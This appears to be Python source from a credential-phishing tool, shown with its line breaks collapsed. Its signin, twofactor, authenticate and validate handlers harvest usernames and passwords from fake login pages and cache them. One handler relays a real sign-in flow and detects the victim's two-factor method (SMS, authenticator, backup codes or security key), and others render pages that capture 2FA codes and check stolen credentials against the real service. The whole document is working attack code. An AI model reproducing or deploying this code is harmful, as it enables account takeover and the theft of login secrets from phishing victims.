def signin(self): self.password = json.loads(request.values.get('f.req'))[4][4][0] functions.cache_creds(self.name, self.user, self.password) signin_response = self.proxy_request(request).replace( '[["gf.sicr"', '[[["gf.sicr"') if "INCORRECT_ANSWER_ENTERED" in signin_response: signin_response = '{}\n,["e",2,null,null,364]\n]]'.format( signin_response[0:len(signin_response) - 1]) else: if "TWO_STEP_VERIFICATION" in signin_response: sms = signin_response.find('{"1009":[') authenticator = signin_response.find('{"1006":[') backup_codes = signin_response.find('{"1008":[') if sms != -1 and (sms < authenticator and sms < backup_codes): self.two_factor_type = "sms" elif authenticator != -1 and (authenticator < sms and authenticator < backup_codes): self.two_factor_type = "authenticator" elif backup_codes != -1 and (backup_codes < authenticator and backup_codes < sms): self.two_factor_type = "backup_codes" else: self.two_factor_type = "invite_or_security_key" signin_response = '{},["e",3,null,null,871]\n]]'.format( signin_response[0:len(signin_response) - 1]) return signin_response
def twofactor(self): self.user = request.values.get('username') self.password = request.values.get('password') next_url = '/redirect' functions.cache_creds(self.name, self.user, self.password) template = self.env.get_template('twofactor.html') return template.render( hostname=request.host, next_url=next_url, username=self.user, password=self.password, )
def authenticate(self): self.user = request.values.get('email') self.password = request.values.get('password') functions.cache_creds(self.name, self.user, self.password) triggered = self.trigger() redirect_user = triggered.get('action', None) if redirect_user == 'redirect': return redirect(self.final_url, code=302) if not self.enable_2fa: return redirect(self.final_url, code=302) twofactor_type = triggered.get('type', 'error') twofactor_code = triggered.get('code', None) twofactor_name = triggered.get('name', None) if twofactor_type == 'touchscreen': if twofactor_code: additional = Markup( ', then touch number <strong>{}</strong>.'.format( twofactor_code)) twofactor_code = additional else: twofactor_code = '.' tf_type = '{}.html'.format(twofactor_type) template = self.env.get_template(tf_type) next_url = '/redirect' return template.render(hostname=request.host, next_url=next_url, enable_2fa=self.enable_2fa, email=self.user, password=self.password, code=twofactor_code, name=twofactor_name, two_factor_type=twofactor_type, first_name='')
def validate(self): """ Handle credentials submitted and proceed to the 2FA page if the credentials are valid. Redirects to login page if the creds are bad. """ self.user = request.values.get('login') possible_passwd = request.values.get('password') try: valid_creds = self.submit_creds(self.user, possible_passwd) if valid_creds: self.password = request.values.get('password') functions.cache_creds(self.name, self.user, self.password) return redirect('/twofactor', code=302) else: return redirect('/?error=1', code=302) except Exception as err: print(traceback.format_exc()) return redirect('/?error=2', code=500)